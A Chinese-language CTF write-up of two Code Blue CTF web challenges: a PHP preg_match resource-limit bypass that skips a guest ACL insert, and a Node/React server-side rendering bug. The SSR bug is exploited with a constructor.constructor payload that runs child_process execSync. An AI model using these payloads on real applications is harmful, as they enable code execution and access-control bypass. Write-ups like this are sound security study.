code-blueCTF-writeup

#guestroom
下载源码审计
首先我们来看如何得到flag

1
2
3
4
5
6
$app->get('/flag', function () use ($app) {
if (isset($_SESSION['is_logined']) === false || isset($_SESSION['is_guest']) === true) {
$app->redirect('/#try+harder');
}
return $app->flag;
});

这里我们需要构造is_guest===false,所以我们来看一下注册函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$app->post('/register', function () use ($app) {
$id = (isset($_POST['id']) === true && $_POST['id'] !== '') ? (string)$_POST['id'] : die('Missing id');
$pw = (isset($_POST['pw']) === true && $_POST['pw'] !== '') ? (string)$_POST['pw'] : die('Missing pw');
$code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';

if (strlen($id) > 32 || strlen($pw) > 32) {
die('Invalid input');
}

$sth = $app->pdo->prepare('SELECT id FROM users WHERE id = :id');
$sth->execute([':id' => $id]);
if ($sth->fetch() !== false) {
$app->redirect('/#duplicate+id');
}

$sth = $app->pdo->prepare('INSERT INTO users (id, pw) VALUES (:id, :pw)');
$sth->execute([':id' => $id, ':pw' => $pw]);

preg_match('/\A(ADMIN|USER|GUEST)--((?:###|\w)+)\z/i', $code, $matches);
if (count($matches) === 3 && $app->code[$matches[1]] === $matches[2]) {
$sth = $app->pdo->prepare('INSERT INTO acl (id, authorize) VALUES (:id, :authorize)');
$sth->execute([':id' => $id, ':authorize' => $matches[1]]);
} else {
$sth = $app->pdo->prepare('INSERT INTO acl (id, authorize) VALUES (:id, "GUEST")');
$sth->execute([':id' => $id]);
}

$app->redirect('/#registered');
});

重点在这里

1
2
3
4
5
6
7
if (count($matches) === 3 && $app->code[$matches[1]] === $matches[2]) {
$sth = $app->pdo->prepare('INSERT INTO acl (id, authorize) VALUES (:id, :authorize)');
$sth->execute([':id' => $id, ':authorize' => $matches[1]]);
} else {
$sth = $app->pdo->prepare('INSERT INTO acl (id, authorize) VALUES (:id, "GUEST")');
$sth->execute([':id' => $id]);
}

如果count($matches) === 3 && $app->code[$matches[1]] === $matches[2]那么我们的authorize字段就不是guest,但是我们的code变量已经定义为null了

1
2
3
4
5
$app->code = [
'ADMIN' => null, // TODO: Set code
'USER' => null, // TODO: Set code
'GUEST' => '###GUEST###'
];

所以这里我们匹配不到,但是我们看一下登陆时候的验证

1
2
3
4
5
$sth = $app->pdo->prepare('SELECT authorize FROM acl WHERE id = :id');
$sth->execute([':id' => $_SESSION['id']]);
if ($sth->fetch()[0] === 'GUEST') {
$_SESSION['is_guest'] = true;
}

我们只要让acl中的值为null其实也是可以过的,那我们如何构造这个null数值呢?这里就需要用到一个pre_mathch黑魔法,我们知道pre_match是非常占用系统资源的,如果我们构造一个大量的数据给pre_match匹配的话,那么php就会因为加载超时而爆错,那么接下来的php语句也就不会执行,也就是这里的

1
2
$sth = $app->pdo->prepare('INSERT INTO acl (id, authorize) VALUES (:id, "GUEST")');
$sth->execute([':id' => $id]);

这样我们数据库中的值就为null,取出来的时候自然也为null,成功绕过。
本地测试构造一个

1
2
3
4
5
<?
$a = $_POST['a'];
preg_match('/\A(ADMIN|USER|GUEST)--((?:###|\w)+)\Z/i', $a, $matches);
echo 2;
?>

传入a=admin--#################(N)会爆错

#SSR
这题没做出来,赛后照着0ops大师傅们的wp复现了一下
一打开发现一个大大的登陆窗口

登陆进去发现可以获得一个随机品质的idol(类似式神一样的东西,分为SR,R,SSR),这里发现抓不了包,那么说明是js的功能。继续浏览发现每个式神又可以执行三个动作,同样是js功能。
然后我就开始懵逼,完全不知道干什么,后来刷新页面的时候发现了一个idol.php的请求,会发送自己idol的json格式数据,如图

尝试fuzz一下数据,发现构造一个错误的idols的时候会爆错

1
[{"key":["p","0"]},{"key":["ssr","0"]}]

返回500错误

1
2
3
4
5
6
7
8
9
10
11
TypeError: Cannot read property '0' of undefined
at generateIdol (/usr/local/ssr/build/server.js:144:49)
at /usr/local/ssr/build/server.js:172:12
at Array.map (<anonymous>)
at unserializeIdols (/usr/local/ssr/build/server.js:169:20)
at new Idols (/usr/local/ssr/build/server.js:748:42)
at /usr/local/ssr/node_modules/react-dom/lib/ReactCompositeComponent.js:292:18
at measureLifeCyclePerf (/usr/local/ssr/node_modules/react-dom/lib/ReactCompositeComponent.js:73:12)
at ReactCompositeComponentWrapper._constructComponentWithoutOwner (/usr/local/ssr/node_modules/react-dom/lib/ReactCompositeComponent.js:291:16)
at ReactCompositeComponentWrapper._constructComponent (/usr/local/ssr/node_modules/react-dom/lib/ReactCompositeComponent.js:282:19)
at ReactCompositeComponentWrapper.mountComponent (/usr/local/ssr/node_modules/react-dom/lib/ReactCompositeComponent.js:185:21)

在第一行看到generateIdol,所以直接在firefox调试器里的client.js里面搜索generateIdol

1
2
3
4
5
6
7
8
var generateIdol = function generateIdol(key) {
var _key = _slicedToArray(key, 2),
rarity = _key[0],
idolNo = _key[1];

var idolClass = _idolDatabase2.default[rarity][idolNo];
return new idolClass(key);
};

当我们传入一个javascript的魔法属性的时候

1
[{"key":["constructor","constructor","0%3Breturn 1"]}]

将会执行

1
2
var idolClass = _idolDatabase2.default["constructor"]["constructor"];
return new idolClass(["constructor","constructor","0;return '1'"]);

这样我们就会得到一个可以任意代码执行的函数

1
[{"key":["constructor","constructor","0%3Breturn process.mainModule.require('child_process').execSync('ls /usr/local/ssr/')+''"]}]

所以具体payload如下

1
2
[{"key":["constructor","constructor","0%3Breturn process.mainModule.require('child_process').execSync('ls /usr/local/ssr/')+''"]}]    
[{"key":["constructor","constructor","0%3Breturn process.mainModule.require('child_process').execSync('ls /usr/local/ssr/')+''"]}]

得到flag

1
CBCTF{server_side_render1ng_1s_Soo_fun}